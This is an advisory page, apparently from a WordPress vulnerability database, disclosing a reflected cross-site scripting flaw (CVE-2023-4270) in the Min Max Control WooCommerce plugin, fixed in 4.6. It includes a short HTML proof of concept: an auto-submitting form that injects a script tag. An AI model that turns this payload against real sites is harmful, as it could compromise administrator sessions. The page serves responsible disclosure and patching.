Min Max Control < 4.6 – Reflected XSS | CVE 2023-4270 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Proof of Concept

<body onload="document.forms[0].submit()">
    <form action="http://example.com/wp-admin/admin-ajax.php?action=wcmmq_save_form" method="POST">
        <input type="text" name="BB" value='"><script>alert(1)</script>'>
        <input type="submit" value="submit">
    </form>
</body>

Affects Plugins

woo-min-max-quantity-step-control-single

Fixed in 4.6

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Animesh Gaurav

Submitter

Animesh Gaurav

Submitter twitter

Verified

Yes

WPVDB ID

04560bf1-676b-46fb-9344-4150862f2686

Timeline

Publicly Published

2023-08-21 (about 2 years ago)

Added

2023-08-21 (about 2 years ago)

Last Updated

2023-08-21 (about 2 years ago)

Other

Published

Title

Published

2025-03-24

Title

Teleport <= 1.2.4 - Reflected Cross-Site Scripting

Published

2023-05-01

Title

WP EasyPay < 4.1 - Reflected Cross-Site Scripting

Published

2017-04-14

Title

Enhanced Plugin Admin <= 1.15 - XSS

Published

2021-10-25

Title

Falang multilanguage for WordPress < 1.3.18 - Reflected Cross-Site Scripting

Published

2018-10-08

Title

WPML < 4.0 - Unauthenticated Stored Cross-Site Scripting (XSS)